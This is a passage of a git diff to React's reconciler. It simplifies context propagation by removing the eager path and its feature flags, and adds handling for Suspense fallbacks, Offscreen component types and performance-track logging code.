 import is from 'shared/objectIs';
-import {createUpdate, ForceUpdate} from './ReactFiberClassUpdateQueue';
-import {markWorkInProgressReceivedUpdate} from './ReactFiberBeginWork';
-import {
-  enableLazyContextPropagation,
-  enableAsyncActions,
-  enableRenderableContext,
-} from 'shared/ReactFeatureFlags';
-import {
-  getHostTransitionProvider,
-  HostTransitionContext,
-} from './ReactFiberHostContext';
+import {getHostTransitionProvider} from './ReactFiberHostContext';
 
 const valueCursor: StackCursor<mixed> = createCursor(null);
 
@@ -71,7 +54,6 @@ if (__DEV__) {
 
 let currentlyRenderingFiber: Fiber | null = null;
 let lastContextDependency: ContextDependency<mixed> | null = null;
-let lastFullyObservedContext: ReactContext<any> | null = null;
 
 let isDisallowedContextReadInDEV: boolean = false;
 
@@ -80,7 +62,6 @@ export function resetContextDependencies(): void {
   // cannot be called outside the render phase.
   currentlyRenderingFiber = null;
   lastContextDependency = null;
-  lastFullyObservedContext = null;
   if (__DEV__) {
     isDisallowedContextReadInDEV = false;
   }
@@ -216,157 +197,16 @@ export function propagateContextChange<T>(
   context: ReactContext<T>,
   renderLanes: Lanes,
 ): void {
-  if (enableLazyContextPropagation) {
-    // TODO: This path is only used by Cache components. Update
-    // lazilyPropagateParentContextChanges to look for Cache components so they
-    // can take advantage of lazy propagation.
-    const forcePropagateEntireTree = true;
-    propagateContextChanges(
-      workInProgress,
-      [context],
-      renderLanes,
-      forcePropagateEntireTree,
-    );
-  } else {
-    propagateContextChange_eager(workInProgress, context, renderLanes);
-  }
-}
-
-function propagateContextChange_eager<T>(
-  workInProgress: Fiber,
-  context: ReactContext<T>,
-  renderLanes: Lanes,
-): void {
-  // Only used by eager implementation
-  if (enableLazyContextPropagation) {
-    return;
-  }
-  let fiber = workInProgress.child;
-  if (fiber !== null) {
-    // Set the return pointer of the child to the work-in-progress fiber.
-    fiber.return = workInProgress;
-  }
-  while (fiber !== null) {
-    let nextFiber;
-
-    // Visit this fiber.
-    const list = fiber.dependencies;
-    if (list !== null) {
-      nextFiber = fiber.child;
-
-      let dependency = list.firstContext;
-      while (dependency !== null) {
-        // Check if the context matches.
-        if (dependency.context === context) {
-          // Match! Schedule an update on this fiber.
-          if (fiber.tag === ClassComponent) {
-            // Schedule a force update on the work-in-progress.
-            const lane = pickArbitraryLane(renderLanes);
-            const update = createUpdate(lane);
-            update.tag = ForceUpdate;
-            // TODO: Because we don't have a work-in-progress, this will add the
-            // update to the current fiber, too, which means it will persist even if
-            // this render is thrown away. Since it's a race condition, not sure it's
-            // worth fixing.
-
-            // Inlined `enqueueUpdate` to remove interleaved update check
-            const updateQueue = fiber.updateQueue;
-            if (updateQueue === null) {
-              // Only occurs if the fiber has been unmounted.
-            } else {
-              const sharedQueue: SharedQueue<any> = (updateQueue: any).shared;
-              const pending = sharedQueue.pending;
-              if (pending === null) {
-                // This is the first update. Create a circular list.
-                update.next = update;
-              } else {
-                update.next = pending.next;
-                pending.next = update;
-              }
-              sharedQueue.pending = update;
-            }
-          }
-
-          fiber.lanes = mergeLanes(fiber.lanes, renderLanes);
-          const alternate = fiber.alternate;
-          if (alternate !== null) {
-            alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
-          }
-          scheduleContextWorkOnParentPath(
-            fiber.return,
-            renderLanes,
-            workInProgress,
-          );
-
-          // Mark the updated lanes on the list, too.
-          list.lanes = mergeLanes(list.lanes, renderLanes);
-
-          // Since we already found a match, we can stop traversing the
-          // dependency list.
-          break;
-        }
-        dependency = dependency.next;
-      }
-    } else if (fiber.tag === ContextProvider) {
-      // Don't scan deeper if this is a matching provider
-      nextFiber = fiber.type === workInProgress.type ? null : fiber.child;
-    } else if (fiber.tag === DehydratedFragment) {
-      // If a dehydrated suspense boundary is in this subtree, we don't know
-      // if it will have any context consumers in it. The best we can do is
-      // mark it as having updates.
-      const parentSuspense = fiber.return;
-
-      if (parentSuspense === null) {
-        throw new Error(
-          'We just came from a parent so we must have had a parent. This is a bug in React.',
-        );
-      }
-
-      parentSuspense.lanes = mergeLanes(parentSuspense.lanes, renderLanes);
-      const alternate = parentSuspense.alternate;
-      if (alternate !== null) {
-        alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
-      }
-      // This is intentionally passing this fiber as the parent
-      // because we want to schedule this fiber as having work
-      // on its children. We'll use the childLanes on
-      // this fiber to indicate that a context has changed.
-      scheduleContextWorkOnParentPath(
-        parentSuspense,
-        renderLanes,
-        workInProgress,
-      );
-      nextFiber = fiber.sibling;
-    } else {
-      // Traverse down.
-      nextFiber = fiber.child;
-    }
-
-    if (nextFiber !== null) {
-      // Set the return pointer of the child to the work-in-progress fiber.
-      nextFiber.return = fiber;
-    } else {
-      // No child. Traverse to next sibling.
-      nextFiber = fiber;
-      while (nextFiber !== null) {
-        if (nextFiber === workInProgress) {
-          // We're back to the root of this subtree. Exit.
-          nextFiber = null;
-          break;
-        }
-        const sibling = nextFiber.sibling;
-        if (sibling !== null) {
-          // Set the return pointer of the sibling to the work-in-progress fiber.
-          sibling.return = nextFiber.return;
-          nextFiber = sibling;
-          break;
-        }
-        // No more siblings. Traverse up.
-        nextFiber = nextFiber.return;
-      }
-    }
-    fiber = nextFiber;
-  }
+  // TODO: This path is only used by Cache components. Update
+  // lazilyPropagateParentContextChanges to look for Cache components so they
+  // can take advantage of lazy propagation.
+  const forcePropagateEntireTree = true;
+  propagateContextChanges(
+    workInProgress,
+    [context],
+    renderLanes,
+    forcePropagateEntireTree,
+  );
 }
 
 function propagateContextChanges<T>(
@@ -375,10 +215,6 @@ function propagateContextChanges<T>(
   renderLanes: Lanes,
   forcePropagateEntireTree: boolean,
 ): void {
-  // Only used by lazy implementation
-  if (!enableLazyContextPropagation) {
-    return;
-  }
   let fiber = workInProgress.child;
   if (fiber !== null) {
     // Set the return pointer of the child to the work-in-progress fiber.
@@ -400,7 +236,6 @@ function propagateContextChanges<T>(
         findContext: for (let i = 0; i < contexts.length; i++) {
           const context: ReactContext<T> = contexts[i];
           // Check if the context matches.
-          // TODO: Compare selected values to bail out early.
           if (dependency.context === context) {
             // Match! Schedule an update on this fiber.
 
@@ -464,6 +299,48 @@ function propagateContextChanges<T>(
         workInProgress,
       );
       nextFiber = null;
+    } else if (
+      fiber.tag === SuspenseComponent &&
+      fiber.memoizedState !== null &&
+      fiber.memoizedState.dehydrated === null
+    ) {
+      // This is a client-rendered Suspense boundary that is currently
+      // showing its fallback. The primary children may include context
+      // consumers, but their fibers may not exist in the tree — during
+      // initial mount, if the primary children suspended, their fibers
+      // were discarded since there was no current tree to preserve them.
+      // We can't walk into the primary tree to find consumers, so
+      // conservatively mark the Suspense boundary itself for retry.
+      // When it re-renders, it will re-mount the primary children,
+      // which will read the updated context value.
+      fiber.lanes = mergeLanes(fiber.lanes, renderLanes);
+      const alternate = fiber.alternate;
+      if (alternate !== null) {
+        alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
+      }
+      scheduleContextWorkOnParentPath(
+        fiber.return,
+        renderLanes,
+        workInProgress,
+      );
+      // The primary children's fibers may not exist in the tree (they
+      // were discarded on initial mount if they suspended). However, the
+      // fallback children ARE in the committed tree and visible to the
+      // user. We need to continue propagating into the fallback subtree
+      // so that its context consumers are marked for re-render.
+      //
+      // The fiber structure is:
+      //   SuspenseComponent
+      //     → child: OffscreenComponent (primary, hidden)
+      //       → sibling: FallbackFragment
+      //
+      // Skip the primary (hidden) subtree and jump to the fallback.
+      const primaryChildFragment = fiber.child;
+      if (primaryChildFragment !== null) {
+        nextFiber = primaryChildFragment.sibling;
+      } else {
+        nextFiber = null;
+      }
     } else {
       // Traverse down.
       nextFiber = fiber.child;
@@ -500,9 +377,9 @@ export function lazilyPropagateParentContextChanges(
   current: Fiber,
   workInProgress: Fiber,
   renderLanes: Lanes,
-) {
+): boolean {
   const forcePropagateEntireTree = false;
-  propagateParentContextChanges(
+  return propagateParentContextChanges(
     current,
     workInProgress,
     renderLanes,
@@ -533,11 +410,7 @@ function propagateParentContextChanges(
   workInProgress: Fiber,
   renderLanes: Lanes,
   forcePropagateEntireTree: boolean,
-) {
-  if (!enableLazyContextPropagation) {
-    return;
-  }
-
+): boolean {
   // Collect all the parent providers that changed. Since this is usually small
   // number, we use an Array instead of Set.
   let contexts = null;
@@ -561,13 +434,7 @@ function propagateParentContextChanges(
 
       const oldProps = currentParent.memoizedProps;
       if (oldProps !== null) {
-        let context: ReactContext<any>;
-        if (enableRenderableContext) {
-          context = parent.type;
-        } else {
-          context = parent.type._context;
-        }
-
+        const context: ReactContext<any> = parent.type;
         const newProps = parent.pendingProps;
         const newValue = newProps.value;
 
@@ -581,7 +448,7 @@ function propagateParentContextChanges(
           }
         }
       }
-    } else if (enableAsyncActions && parent === getHostTransitionProvider()) {
+    } else if (parent === getHostTransitionProvider()) {
       // During a host transition, a host component can act like a context
       // provider. E.g. in React DOM, this would be a <form />.
       const currentParent = parent.alternate;
@@ -639,14 +506,12 @@ function propagateParentContextChanges(
   // then we could remove both `DidPropagateContext` and `NeedsPropagation`.
   // Consider this as part of the next refactor to the fiber tree structure.
   workInProgress.flags |= DidPropagateContext;
+  return contexts !== null;
 }
 
 export function checkIfContextChanged(
   currentDependencies: Dependencies,
 ): boolean {
-  if (!enableLazyContextPropagation) {
-    return false;
-  }
   // Iterate over the current dependencies to see if something changed. This
   // only gets called if props and state has already bailed out, so it's a
   // relatively uncommon path, except at the root of a changed subtree.
@@ -673,24 +538,11 @@ export function prepareToReadContext(
 ): void {
   currentlyRenderingFiber = workInProgress;
   lastContextDependency = null;
-  lastFullyObservedContext = null;
 
   const dependencies = workInProgress.dependencies;
   if (dependencies !== null) {
-    if (enableLazyContextPropagation) {
-      // Reset the work-in-progress list
-      dependencies.firstContext = null;
-    } else {
-      const firstContext = dependencies.firstContext;
-      if (firstContext !== null) {
-        if (includesSomeLane(dependencies.lanes, renderLanes)) {
-          // Context list has a pending update. Mark that this fiber performed work.
-          markWorkInProgressReceivedUpdate();
-        }
-        // Reset the work-in-progress list
-        dependencies.firstContext = null;
-      }
-    }
+    // Reset the work-in-progress list
+    dependencies.firstContext = null;
   }
 }
 
@@ -729,38 +581,38 @@ function readContextForConsumer<T>(
     ? context._currentValue
     : context._currentValue2;
 
-  if (lastFullyObservedContext === context) {
-    // Nothing to do. We already observe everything in this context.
-  } else {
-    const contextItem = {
-      context: ((context: any): ReactContext<mixed>),
-      memoizedValue: value,
-      next: null,
-    };
-
-    if (lastContextDependency === null) {
-      if (consumer === null) {
-        throw new Error(
-          'Context can only be read while React is rendering. ' +
-            'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
-            'In function components, you can read it directly in the function body, but not ' +
-            'inside Hooks like useReducer() or useMemo().',
-        );
-      }
+  const contextItem = {
+    context: ((context: any): ReactContext<mixed>),
+    memoizedValue: value,
+    next: null,
+  };
 
-      // This is the first dependency for this component. Create a new list.
-      lastContextDependency = contextItem;
-      consumer.dependencies = {
-        lanes: NoLanes,
-        firstContext: contextItem,
-      };
-      if (enableLazyContextPropagation) {
-        consumer.flags |= NeedsPropagation;
-      }
-    } else {
-      // Append a new context item.
-      lastContextDependency = lastContextDependency.next = contextItem;
+  if (lastContextDependency === null) {
+    if (consumer === null) {
+      throw new Error(
+        'Context can only be read while React is rendering. ' +
+          'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+          'In function components, you can read it directly in the function body, but not ' +
+          'inside Hooks like useReducer() or useMemo().',
+      );
     }
+
+    // This is the first dependency for this component. Create a new list.
+    lastContextDependency = contextItem;
+    consumer.dependencies = __DEV__
+      ? {
+          lanes: NoLanes,
+          firstContext: contextItem,
+          _debugThenableState: null,
+        }
+      : {
+          lanes: NoLanes,
+          firstContext: contextItem,
+        };
+    consumer.flags |= NeedsPropagation;
+  } else {
+    // Append a new context item.
+    lastContextDependency = lastContextDependency.next = contextItem;
   }
   return value;
 }
diff --git a/packages/react-reconciler/src/ReactFiberOffscreenComponent.js b/packages/react-reconciler/src/ReactFiberOffscreenComponent.js
new file mode 100644
index 000000000000..c68a050fcff6
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberOffscreenComponent.js
@@ -0,0 +1,61 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactNodeList, Wakeable} from 'shared/ReactTypes';
+import type {Lanes} from './ReactFiberLane';
+import type {SpawnedCachePool} from './ReactFiberCacheComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
+import type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';
+import type {RetryQueue} from './ReactFiberSuspenseComponent';
+
+type OffscreenMode = 'hidden' | 'unstable-defer-without-hiding' | 'visible';
+
+export type LegacyHiddenProps = {
+  mode?: OffscreenMode | null | void,
+  children?: ReactNodeList,
+};
+
+export type OffscreenProps = {
+  // TODO: Pick an API before exposing the Offscreen type. I've chosen an enum
+  // for now, since we might have multiple variants. For example, hiding the
+  // content without changing the layout.
+  //
+  // Default mode is visible. Kind of a weird default for a component
+  // called "Offscreen." Possible alt: <Visibility />?
+  mode?: OffscreenMode | null | void,
+  children?: ReactNodeList,
+};
+
+// We use the existence of the state object as an indicator that the component
+// is hidden.
+export type OffscreenState = {
+  // TODO: This doesn't do anything, yet. It's always NoLanes. But eventually it
+  // will represent the pending work that must be included in the render in
+  // order to unhide the component.
+  baseLanes: Lanes,
+  cachePool: SpawnedCachePool | null,
+};
+
+export type OffscreenQueue = {
+  transitions: Array<Transition> | null,
+  markerInstances: Array<TracingMarkerInstance> | null,
+  retryQueue: RetryQueue | null,
+};
+
+type OffscreenVisibility = number;
+
+export const OffscreenVisible = /*                     */ 0b001;
+export const OffscreenPassiveEffectsConnected = /*     */ 0b010;
+
+export type OffscreenInstance = {
+  _visibility: OffscreenVisibility,
+  _pendingMarkers: Set<TracingMarkerInstance> | null,
+  _transitions: Set<Transition> | null,
+  _retryCache: WeakSet<Wakeable> | Set<Wakeable> | null,
+};
diff --git a/packages/react-reconciler/src/ReactFiberOwnerStack.js b/packages/react-reconciler/src/ReactFiberOwnerStack.js
deleted file mode 100644
index fe9e4f1cfd61..000000000000
--- a/packages/react-reconciler/src/ReactFiberOwnerStack.js
+++ /dev/null
@@ -1,117 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import {REACT_LAZY_TYPE} from 'shared/ReactSymbols';
-
-import {
-  callLazyInitInDEV,
-  callComponentInDEV,
-  callRenderInDEV,
-} from './ReactFiberCallUserSpace';
-
-// TODO: Make this configurable on the root.
-const externalRegExp = /\/node\_modules\/|\(\<anonymous\>\)/;
-
-let callComponentFrame: null | string = null;
-let callIteratorFrame: null | string = null;
-let callLazyInitFrame: null | string = null;
-
-function isNotExternal(stackFrame: string): boolean {
-  return !externalRegExp.test(stackFrame);
-}
-
-function initCallComponentFrame(): string {
-  // Extract the stack frame of the callComponentInDEV function.
-  const error = callComponentInDEV(Error, 'react-stack-top-frame', {});
-  const stack = error.stack;
-  const startIdx = stack.startsWith('Error: react-stack-top-frame\n') ? 29 : 0;
-  const endIdx = stack.indexOf('\n', startIdx);
-  if (endIdx === -1) {
-    return stack.slice(startIdx);
-  }
-  return stack.slice(startIdx, endIdx);
-}
-
-function initCallRenderFrame(): string {
-  // Extract the stack frame of the callRenderInDEV function.
-  try {
-    (callRenderInDEV: any)({render: null});
-    return '';
-  } catch (error) {
-    const stack = error.stack;
-    const startIdx = stack.startsWith('TypeError: ')
-      ? stack.indexOf('\n') + 1
-      : 0;
-    const endIdx = stack.indexOf('\n', startIdx);
-    if (endIdx === -1) {
-      return stack.slice(startIdx);
-    }
-    return stack.slice(startIdx, endIdx);
-  }
-}
-
-function initCallLazyInitFrame(): string {
-  // Extract the stack frame of the callLazyInitInDEV function.
-  const error = callLazyInitInDEV({
-    $$typeof: REACT_LAZY_TYPE,
-    _init: Error,
-    _payload: 'react-stack-top-frame',
-  });
-  const stack = error.stack;
-  const startIdx = stack.startsWith('Error: react-stack-top-frame\n') ? 29 : 0;
-  const endIdx = stack.indexOf('\n', startIdx);
-  if (endIdx === -1) {
-    return stack.slice(startIdx);
-  }
-  return stack.slice(startIdx, endIdx);
-}
-
-function filterDebugStack(error: Error): string {
-  // Since stacks can be quite large and we pass a lot of them, we filter them out eagerly
-  // to save bandwidth even in DEV. We'll also replay these stacks on the client so by
-  // stripping them early we avoid that overhead. Otherwise we'd normally just rely on
-  // the DevTools or framework's ignore lists to filter them out.
-  let stack = error.stack;
-  if (stack.startsWith('Error: react-stack-top-frame\n')) {
-    // V8's default formatting prefixes with the error message which we
-    // don't want/need.
-    stack = stack.slice(29);
-  }
-  const frames = stack.split('\n').slice(1);
-  if (callComponentFrame === null) {
-    callComponentFrame = initCallComponentFrame();
-  }
-  let lastFrameIdx = frames.indexOf(callComponentFrame);
-  if (lastFrameIdx === -1) {
-    if (callLazyInitFrame === null) {
-      callLazyInitFrame = initCallLazyInitFrame();
-    }
-    lastFrameIdx = frames.indexOf(callLazyInitFrame);
-    if (lastFrameIdx === -1) {
-      if (callIteratorFrame === null) {
-        callIteratorFrame = initCallRenderFrame();
-      }
-      lastFrameIdx = frames.indexOf(callIteratorFrame);
-    }
-  }
-  if (lastFrameIdx !== -1) {
-    // Cut off everything after our "callComponent" slot since it'll be Fiber internals.
-    frames.length = lastFrameIdx;
-  } else {
-    // We didn't find any internal callsite out to user space.
-    // This means that this was called outside an owner or the owner is fully internal.
-    // To keep things light we exclude the entire trace in this case.
-    return '';
-  }
-  return frames.filter(isNotExternal).join('\n');
-}
-
-export function formatOwnerStack(ownerStackTrace: Error): string {
-  return filterDebugStack(ownerStackTrace);
-}
diff --git a/packages/react-reconciler/src/ReactFiberPerformanceTrack.js b/packages/react-reconciler/src/ReactFiberPerformanceTrack.js
new file mode 100644
index 000000000000..a1a2d76cecc0
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberPerformanceTrack.js
@@ -0,0 +1,1720 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+/* eslint-disable react-internal/no-production-logging */
+
+import type {Fiber} from './ReactInternalTypes';
+
+import type {Lanes} from './ReactFiberLane';
+
+import type {CapturedValue} from './ReactCapturedValue';
+
+import {SuspenseComponent} from './ReactWorkTags';
+
+import getComponentNameFromFiber from './getComponentNameFromFiber';
+
+import {
+  getGroupNameOfHighestPriorityLane,
+  includesOnlyHydrationLanes,
+  includesOnlyOffscreenLanes,
+  includesOnlyHydrationOrOffscreenLanes,
+  includesSomeLane,
+} from './ReactFiberLane';
+
+import {
+  addValueToProperties,
+  addObjectToProperties,
+  addObjectDiffToProperties,
+} from 'shared/ReactPerformanceTrackProperties';
+
+import {
+  enableProfilerTimer,
+  enableGestureTransition,
+  enablePerformanceIssueReporting,
+} from 'shared/ReactFeatureFlags';
+
+const supportsUserTiming =
+  enableProfilerTimer &&
+  typeof console !== 'undefined' &&
+  typeof console.timeStamp === 'function' &&
+  (!__DEV__ ||
+    // In DEV we also rely on performance.measure
+    (typeof performance !== 'undefined' &&
+      // $FlowFixMe[method-unbinding]
+      typeof performance.measure === 'function'));
+
+const COMPONENTS_TRACK = 'Components ⚛';
+const LANES_TRACK_GROUP = 'Scheduler ⚛';
+
+let currentTrack: string = 'Blocking'; // Lane
+
+export function setCurrentTrackFromLanes(lanes: Lanes): void {
+  currentTrack = getGroupNameOfHighestPriorityLane(lanes);
+}
+
+export function markAllLanesInOrder() {
+  if (supportsUserTiming) {
+    // Ensure we create all tracks in priority order. Currently performance.mark() are in
+    // first insertion order but performance.measure() are in the reverse order. We can
+    // always add the 0 time slot even if it's in the past. That's still considered for
+    // ordering.
+    console.timeStamp(
+      'Blocking Track',
+      0.003,
+      0.003,
+      'Blocking',
+      LANES_TRACK_GROUP,
+      'primary-light',
+    );
+    if (enableGestureTransition) {
+      console.timeStamp(
+        'Gesture Track',
+        0.003,
+        0.003,
+        'Gesture',
+        LANES_TRACK_GROUP,
+        'primary-light',
+      );
+    }
+    console.timeStamp(
+      'Transition Track',
+      0.003,
+      0.003,
+      'Transition',
+      LANES_TRACK_GROUP,
+      'primary-light',
+    );
+    console.timeStamp(
+      'Suspense Track',
+      0.003,
+      0.003,
+      'Suspense',
+      LANES_TRACK_GROUP,
+      'primary-light',
+    );
+    console.timeStamp(
+      'Idle Track',
+      0.003,
+      0.003,
+      'Idle',
+      LANES_TRACK_GROUP,
+      'primary-light',
+    );
+  }
+}
+
+function logComponentTrigger(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+  trigger: string,
+) {
+  if (supportsUserTiming) {
+    reusableComponentOptions.start = startTime;
+    reusableComponentOptions.end = endTime;
+    reusableComponentDevToolDetails.color = 'warning';
+    reusableComponentDevToolDetails.tooltipText = trigger;
+    reusableComponentDevToolDetails.properties = null;
+    const debugTask = fiber._debugTask;
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(
+          performance,
+          trigger,
+          reusableComponentOptions,
+        ),
+      );
+    } else {
+      performance.measure(trigger, reusableComponentOptions);
+    }
+    performance.clearMeasures(trigger);
+  }
+}
+
+export function logComponentMount(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+): void {
+  logComponentTrigger(fiber, startTime, endTime, 'Mount');
+}
+
+export function logComponentUnmount(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+): void {
+  logComponentTrigger(fiber, startTime, endTime, 'Unmount');
+}
+
+export function logComponentReappeared(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+): void {
+  logComponentTrigger(fiber, startTime, endTime, 'Reconnect');
+}
+
+export function logComponentDisappeared(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+): void {
+  logComponentTrigger(fiber, startTime, endTime, 'Disconnect');
+}
+
+let alreadyWarnedForDeepEquality = false;
+
+export function pushDeepEquality(): boolean {
+  if (__DEV__) {
+    // If this is true then we don't reset it to false because we're tracking if any
+    // parent already warned about having deep equality props in this subtree.
+    return alreadyWarnedForDeepEquality;
+  }
+  return false;
+}
+
+export function popDeepEquality(prev: boolean): void {
+  if (__DEV__) {
+    alreadyWarnedForDeepEquality = prev;
+  }
+}
+
+const reusableComponentDevToolDetails = {
+  color: 'primary',
+  properties: (null: null | Array<[string, string]>),
+  tooltipText: '',
+  track: COMPONENTS_TRACK,
+};
+
+const reusableComponentOptions: PerformanceMeasureOptions = {
+  start: -0,
+  end: -0,
+  detail: {
+    devtools: reusableComponentDevToolDetails,
+  },
+};
+
+const reusableChangedPropsEntry = ['Changed Props', ''];
+
+const reusableCascadingUpdateIssue = {
+  name: 'React: Cascading Update',
+  severity: 'warning',
+  description:
+    'A cascading update is an update that is triggered during an ongoing render. This can lead to performance issues.',
+  learnMoreUrl:
+    'https://react.dev/reference/dev-tools/react-performance-tracks#cascading-updates',
+};
+
+const DEEP_EQUALITY_WARNING =
+  'This component received deeply equal props. It might benefit from useMemo or the React Compiler in its owner.';
+
+const reusableDeeplyEqualPropsEntry = ['Changed Props', DEEP_EQUALITY_WARNING];
+
+export function logComponentRender(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+  wasHydrated: boolean,
+  committedLanes: Lanes,
+): void {
+  const name = getComponentNameFromFiber(fiber);
+  if (name === null) {
+    // Skip
+    return;
+  }
+  if (supportsUserTiming) {
+    const alternate = fiber.alternate;
+    let selfTime: number = (fiber.actualDuration: any);
+    if (alternate === null || alternate.child !== fiber.child) {
+      for (let child = fiber.child; child !== null; child = child.sibling) {
+        selfTime -= (child.actualDuration: any);
+      }
+    }
+    const color =
+      selfTime < 0.5
+        ? wasHydrated
+          ? 'tertiary-light'
+          : 'primary-light'
+        : selfTime < 10
+          ? wasHydrated
+            ? 'tertiary'
+            : 'primary'
+          : selfTime < 100
+            ? wasHydrated
+              ? 'tertiary-dark'
+              : 'primary-dark'
+            : 'error';
+
+    if (!__DEV__) {
+      console.timeStamp(
+        name,
+        startTime,
+        endTime,
+        COMPONENTS_TRACK,
+        undefined,
+        color,
+      );
+    } else {
+      const props = fiber.memoizedProps;
+      const debugTask = fiber._debugTask;
+
+      if (
+        props !== null &&
+        alternate !== null &&
+        alternate.memoizedProps !== props
+      ) {
+        // If this is an update, we'll diff the props and emit which ones changed.
+        const properties: Array<[string, string]> = [reusableChangedPropsEntry];
+        const isDeeplyEqual = addObjectDiffToProperties(
+          alternate.memoizedProps,
+          props,
+          properties,
+          0,
+        );
+        if (properties.length > 1) {
+          if (
+            isDeeplyEqual &&
+            !alreadyWarnedForDeepEquality &&
+            !includesSomeLane(alternate.lanes, committedLanes) &&
+            (fiber.actualDuration: any) > 100
+          ) {
+            alreadyWarnedForDeepEquality = true;
+            // This is the first component in a subtree which rerendered with deeply equal props
+            // and didn't have its own work scheduled and took a non-trivial amount of time.
+            // We highlight this for further inspection.
+            // Note that we only consider this case if properties.length > 1 which it will only
+            // be if we have emitted any diffs. We'd only emit diffs if there were any nested
+            // equal objects. Therefore, we don't warn for simple shallow equality.
+            properties[0] = reusableDeeplyEqualPropsEntry;
+            reusableComponentDevToolDetails.color = 'warning';
+            reusableComponentDevToolDetails.tooltipText = DEEP_EQUALITY_WARNING;
+          } else {
+            reusableComponentDevToolDetails.color = color;
+            reusableComponentDevToolDetails.tooltipText = name;
+          }
+          reusableComponentDevToolDetails.properties = properties;
+          reusableComponentOptions.start = startTime;
+          reusableComponentOptions.end = endTime;
+
+          const measureName = '\u200b' + name;
+          if (debugTask != null) {
+            debugTask.run(
+              // $FlowFixMe[method-unbinding]
+              performance.measure.bind(
+                performance,
+                measureName,
+                reusableComponentOptions,
+              ),
+            );
+          } else {
+            performance.measure(measureName, reusableComponentOptions);
+          }
+          performance.clearMeasures(measureName);
+        } else {
+          if (debugTask != null) {
+            debugTask.run(
+              // $FlowFixMe[method-unbinding]
+              console.timeStamp.bind(
+                console,
+                name,
+                startTime,
+                endTime,
+                COMPONENTS_TRACK,
+                undefined,
+                color,
+              ),
+            );
+          } else {
+            console.timeStamp(
+              name,
+              startTime,
+              endTime,
+              COMPONENTS_TRACK,
+              undefined,
+              color,
+            );
+          }
+        }
+      } else {
+        if (debugTask != null) {
+          debugTask.run(
+            // $FlowFixMe[method-unbinding]
+            console.timeStamp.bind(
+              console,
+              name,
+              startTime,
+              endTime,
+              COMPONENTS_TRACK,
+              undefined,
+              color,
+            ),
+          );
+        } else {
+          console.timeStamp(
+            name,
+            startTime,
+            endTime,
+            COMPONENTS_TRACK,
+            undefined,
+            color,
+          );
+        }
+      }
+    }
+  }
+}
+
+export function logComponentErrored(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+  errors: Array<CapturedValue<mixed>>,
+): void {
+  if (supportsUserTiming) {
+    const name = getComponentNameFromFiber(fiber);
+    if (name === null) {
+      // Skip
+      return;
+    }
+    if (__DEV__) {
+      let debugTask: ?ConsoleTask = null;
+      const properties: Array<[string, string]> = [];
+      for (let i = 0; i < errors.length; i++) {
+        const capturedValue = errors[i];
+        if (debugTask == null && capturedValue.source !== null) {
+          // If the captured value has a source Fiber, use its debugTask for
+          // the stack instead of the error boundary's stack. So you can find
+          // which component errored since we don't show the errored render tree.
+          // TODO: Ideally we should instead, store the failed fibers and log the
+          // whole subtree including the component that errored.
+          debugTask = capturedValue.source._debugTask;
+        }
+        const error = capturedValue.value;
+        const message =
+          typeof error === 'object' &&
+          error !== null &&
+          typeof error.message === 'string'
+            ? // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error.message)
+            : // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error);
+        properties.push(['Error', message]);
+      }
+      if (fiber.key !== null) {
+        addValueToProperties('key', fiber.key, properties, 0, '');
+      }
+      if (fiber.memoizedProps !== null) {
+        addObjectToProperties(fiber.memoizedProps, properties, 0, '');
+      }
+      if (debugTask == null) {
+        // If the captured values don't have a debug task, fallback to the
+        // error boundary itself.
+        debugTask = fiber._debugTask;
+      }
+      const options: PerformanceMeasureOptions = {
+        start: startTime,
+        end: endTime,
+        detail: {
+          devtools: {
+            color: 'error',
+            track: COMPONENTS_TRACK,
+            tooltipText:
+              fiber.tag === SuspenseComponent
+                ? 'Hydration failed'
+                : 'Error boundary caught an error',
+            properties,
+          },
+        },
+      };
+
+      const measureName = '\u200b' + name;
+      if (__DEV__ && debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          performance.measure.bind(performance, measureName, options),
+        );
+      } else {
+        performance.measure(measureName, options);
+      }
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        name,
+        startTime,
+        endTime,
+        COMPONENTS_TRACK,
+        undefined,
+        'error',
+      );
+    }
+  }
+}
+
+function logComponentEffectErrored(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+  errors: Array<CapturedValue<mixed>>,
+): void {
+  if (supportsUserTiming) {
+    const name = getComponentNameFromFiber(fiber);
+    if (name === null) {
+      // Skip
+      return;
+    }
+    if (__DEV__) {
+      const properties: Array<[string, string]> = [];
+      for (let i = 0; i < errors.length; i++) {
+        const capturedValue = errors[i];
+        const error = capturedValue.value;
+        const message =
+          typeof error === 'object' &&
+          error !== null &&
+          typeof error.message === 'string'
+            ? // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error.message)
+            : // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error);
+        properties.push(['Error', message]);
+      }
+      if (fiber.key !== null) {
